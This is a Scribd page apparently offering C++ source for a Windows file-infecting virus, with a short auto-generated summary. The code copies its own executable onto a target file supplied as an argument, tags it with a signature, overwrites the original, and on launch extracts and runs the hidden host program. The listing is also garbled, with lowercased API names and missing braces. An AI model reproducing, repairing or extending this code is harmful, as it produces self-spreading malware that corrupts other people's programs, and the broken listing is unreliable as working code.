0% found this document useful (0 votes)
82 views6 pages

TM V

This C++ code defines functions for checking if a file is infected by a virus, extracting the infected file, and infecting other files. It includes header files for Windows and C++ input/output. Key functions check if the running application is infected by comparing a signature, extract the infected file to a temporary location and execute it, and infect another file by writing virus code and the infected file contents to a temporary file and overwriting the target.

Uploaded by

api-26176404
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
82 views6 pages

TM V

This C++ code defines functions for checking if a file is infected by a virus, extracting the infected file, and infecting other files. It includes header files for Windows and C++ input/output. Key functions check if the running application is infected by comparing a signature, extract the infected file to a temporary location and execute it, and infect another file by writing virus code and the infected file contents to a temporary file and overwriting the target.

Uploaded by

api-26176404
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 6

#include "stdafx.

h"

#include "windows.h"

#include "iostream.h"

#include "fstream.h"

const char * virus_temp_sig = "xxx";

const char * virus_sig ="xxx";

struct virus_struct

dword file_size;

char sig[4];

};

virus_struct v_s;

char * app_path()

char * path = (char *)malloc(1024);

hinstance hi = getmodulehandle(null);

getmodulefilename(hi,path,1024);

return path;

dword get_file_size(char *path)

win32_find_data fd;

findfirstfile(path,&fd);
return fd.nfilesizelow;

char * load_file_into_ram(char *path)

ifstream f(path,ios::nocreate | ios::binary);

if(!f)

return (char*)null;

char * fileram = (char *)malloc(get_file_size(path));

char ch;

int pos=0;

while(f.get(ch))

fileram[pos] = ch;

pos++;

return fileram;

char * get_temp_file()

char wintemp_path[1024];

char *temp_path=new char[1024];

gettemppath(1024,wintemp_path);

gettempfilename(wintemp_path,virus_temp_sig,1234,temp_path);
return temp_path;

int infect_file(char * source, char * dest)

char * temp_file =get_temp_file();

char * dest_file = load_file_into_ram(dest);

char * source_file = load_file_into_ram(source);

if(!source_file)

return 0;

if(!dest_file)

return 0;

ofstream fout(temp_file,ios::binary);

if(!fout)

return 0;

fout.write(source_file,get_file_size(source));

fout.write(dest_file,get_file_size(dest));

v_s.file_size = get_file_size(dest) ;

strcpy(v_s.sig,virus_sig);

fout.write((const char *)&v_s,sizeof(virus_struct));

fout.close();

if(!copyfile(temp_file,dest,false))

return 0;
return 1;

virus_struct *check_if_effected()

ifstream fin(app_path() ,ios::binary);

fin.seekg(get_file_size(app_path())-sizeof(virus_struct),ios::beg);

virus_struct *vs=new virus_struct;

fin.read((char*)vs,sizeof(virus_struct));

fin.close();

if(!strcmp(vs->sig,virus_sig))

return vs;

return null;

void extract_file()

ifstream fin(app_path(),ios::binary);

fin.seekg(get_file_size(app_path())-sizeof(virus_struct));

virus_struct *vs=new virus_struct;

fin.read((char*)vs,sizeof(virus_struct));

char * infect_file_data = new char[vs->file_size];

fin.seekg(get_file_size(app_path())-vs->file_size-sizeof(virus_struct),ios::beg);
//seek to begging of infected file

fin.read(infect_file_data,vs->file_size);

fin.close();
char * infect_file_path = get_temp_file();

ofstream fout(infect_file_path,ios::binary);

fout.write(infect_file_data,vs->file_size);

fout.close();

winexec(infect_file_path,sw_normal);

int main(int argc, char* argv[])

virus_struct *vs = check_if_effected();

if(!vs)

cout << "i'm not infected " << endl;

else

extract_file();

while(1){} //just idle

if(argc==1)

cout << "usage: [file to infect] " << endl;

return 0;

if(!infect_file(app_path(),argv[1]))
{

cout << "failed to infect file " << endl;

return 0;

You might also like